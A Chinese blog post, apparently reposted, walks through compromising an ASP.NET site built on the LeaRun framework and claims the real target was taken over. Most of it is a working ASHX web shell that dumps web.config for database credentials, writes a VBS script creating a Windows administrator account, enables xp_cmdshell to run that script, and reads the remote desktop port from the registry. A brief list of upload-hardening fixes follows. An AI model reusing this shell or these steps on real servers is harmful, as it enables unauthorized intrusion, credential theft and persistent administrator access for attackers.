ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)

摘要:
作者的小学文化和语言组织能力较差。如果你写不好,请将就一下。如果你不喜欢就不要喷。在上一篇文章中,我谈到了上传文件时如何入侵服务器。这一次,我们将进一步讨论它。

笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷。

    上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点。

   还是先讲下流程:

1、上传代码页面  我上传的是ashx页面。

2、用ashx页面已文本形式显示web.Config的内容 得到数据库连接,

3、用ashx在网站根目录输出vbs脚本(创建Windows账户脚本)

4、开启数据库的xp_cmdshell。

5、利用数据库执行在网站根目录输出vbs脚本。入侵就完成了

ashx代码文件如下

ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)第1张ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)第2张
/// <summary>
        /// 显示配置文件
        /// </summary>
        /// <param name="context"></param>
        public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }
        /// <summary>
        /// 写vbs脚本
        /// </summary>
        /// <param name="context"></param>
        public void WriteVbs(HttpContext context)
        {
            System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/freeast" 
");
        }
        /// <summary>
        /// 直线数据库
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql(string connection, string sql)
        {
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    commd.ExecuteNonQuery();
                    con.Close();
                }
            }
        }
        /// <summary>
        /// 直线数据库并输出表格
        /// </summary>
        /// <param name="context"></param>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql1(HttpContext context,string connection, string sql)
        {
            System.Data.DataTable table = new System.Data.DataTable();
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    using (SqlDataAdapter ad = new SqlDataAdapter(commd))
                    {
                        ad.Fill(table);
                    }
                    con.Close();
                }
            }
            foreach (System.Data.DataRow row in table.Rows)
            {
                foreach (System.Data.DataColumn column in table.Columns)
                {
                    context.Response.Write(row[column]);
                    context.Response.Write("	");
                }
                context.Response.Write("
");
            }
        }
        /// <summary>
        /// 显示远程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEMCurrentControlSetControlTerminal ServerWds
dpwdTds	cp").GetValue("PortNumber").ToString());
        }
        public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";
            
            try
            {
                var connection = context.Request.QueryString["connection"];
                switch (context.Request.QueryString["method"])
                {
                    case "1": WriteVbs(context); break;
                    case "2":
                        ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
                        ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
                        break;
                    case "3": ExecuteSql1(context, connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
                        break;
                    case "4": ShowPort(context); break;
                    default:
                        ShowWebConfig(context);
                        break;
                }
            }
            catch (Exception ex)
            {
                context.Response.Write(ex.Message);
            }
            context.Response.End();
        }
        public bool IsReusable
        {
            get
            {
                return false;
            }
        }
View Code

這里我们以 "LeaRun.信息化快速开发框架"的在线按钮为例

上传文件我就不说了,上篇有人在问我怎么显示web.Config的内容,我这里具体贴下代码 其实很简单,File.ReadAllText  web.config文件就可以了

public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }

运行后直线ashx 得到数据库连接,如图

ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)第3张

其次就是创建Windows账户的脚本

ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)第1张ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)第5张
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/freeast" 
View Code

然后开启数据库的xp_cmdshell。

sp_configure 'show advanced options',1  reconfigure

Go

sp_configure 'xp_cmdshell',1 reconfigure


在最后执行vbs脚本

exec master..xp_cmdshell 'cscript 脚本文件目录"'

运行结果如下:


ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)第6张

好 这说明直线成功了。。。。 也就是服务器用户添加成功了

现在要开始远程桌面了,于是个端口扫描工具发现3389是关的,于是断定肯定是修改了端口后,于是就加了个代码,让程序去读取远程桌面端口,

代码如下:

/// <summary>
        /// 显示远程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEMCurrentControlSetControlTerminal ServerWds
dpwdTds	cp").GetValue("PortNumber").ToString());
        }


好了 到這里 一切的完成了 ,打开远程桌面连接吧。。

ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)第7张

因为此次公开还没来得及通知  事主 于是自己帮事主把这个漏洞补上了后才发出来的,所以你们也不要去试了   -.-!!!!

然后我在来说说补救的方法,我就简单介绍几种了

1、将上传的文件放到网站外,也就是说 让iit读取不到(但记得分配权限) ,如:假如我网站放在 d:\WebOa  这个是我网站的跟目录,那么我上传的文件 可以放到 d:FileOA 里面,别人就不能直接访问

2、就是在上传文件的目录下新建立个web.config 把所有请求都拒绝,(C#是可以读取的,只是需要用Response.WriteFile 输出)

3、全部压缩

。。。。。。。。。。。。。。。。

好了 ,大家抓紧把之前的项目整理一遍吧,把能补的补上。。。。 千万别用這些漏洞去做坏事哦  ,。。。 那样你会被请去喝茶的。。。。-.-!!!!!

免责声明:文章转载自《ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇(转) 如何在Excel和Word文档中插入GIF动画linux上kafka搭建小结下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

.NET、NET Framewor以及.NET Core的关系(二)

什么是CLR,.NET虚拟机? 实际上,.NET不仅提供了自动内存管理的支持,他还提供了一些列的如类型安全、应用程序域、异常机制等支持,这些 都被统称为CLR公共语言运行库。 CLR是.NET类型系统的基础,所有的.NET技术都是建立在此之上,熟悉它可以帮助我们更好的理解框架组件的核心、原理。在我们执行托管代码之前,总会先运行这些运行库代码,通过运行库的代...

微服务架构设计

微服务        软件架构是一个包含各种组织的系统组织,这些组件包括 Web服务器, 应用服务器, 数据库,存储, 通讯层), 它们彼此或和环境存在关系。系统架构的目标是解决利益相关者的关注点。 Conway’s law: Organizations which design systems[...] are constrained to pro...

如何自己开发软件测试工具?

序言:一说到自动化测试工具,大家很多人都会想到的是QTP、LR或者selenium之类的工具,要大家一开始设计一个这样的工具,其实确实很有难度,因为其包含的功能细节太过庞大。当年的我,开始设计开发工具的过程中,走了很多弯路,例如:做工具的界面技术的历程,刚开始用tcl/tk脚本语言,用tcl写底层框架,用tk写图形界面,后来发现tk虽然构造图形方便,但可拓...

SpringBoot启动过程解析(简化)

springBoot web方式启动过程 在这个启动过程中会有各种SpringBoot对外提供的扩展接口来对不同启动阶段进行自定义操作。 了解启动过程也是为了让我们更好理解SpringBoot提供的扩展接口使用   jar包启动或者外置war包启动都是调用SpringApplication.run()方法进行项目启动 tomcat会查询context上下文...

Canvas坐标系转换

默认坐标系与当前坐标系 canvas中的坐标是从左上角开始的,x轴沿着水平方向(按像素)向右延伸,y轴沿垂直方向向下延伸。左上角坐标为x=0,y=0的点称作原点。在默认坐标系中,每一个点的坐标都是直接映射到一个CSS像素上。 但是如果图像的每次绘制都参考一个固定点将缺少灵活性,于是在canvas中引入“当前坐标系”的概念,所谓“当前坐标系”即指图像在此时...

修改Springboot启动端口号

前言Springboot启动的时候,端口的设定默认是8080,这肯定是不行的,我们需要自己定义端口,Springboot提供了两种方式,第一种,我们可以通过application.yml配置文件配置,第二种,可以通过代码里面指定,在开发中,建议使用修改application.yml的方式来修改端口。 一、pom.xml<?xml version="1...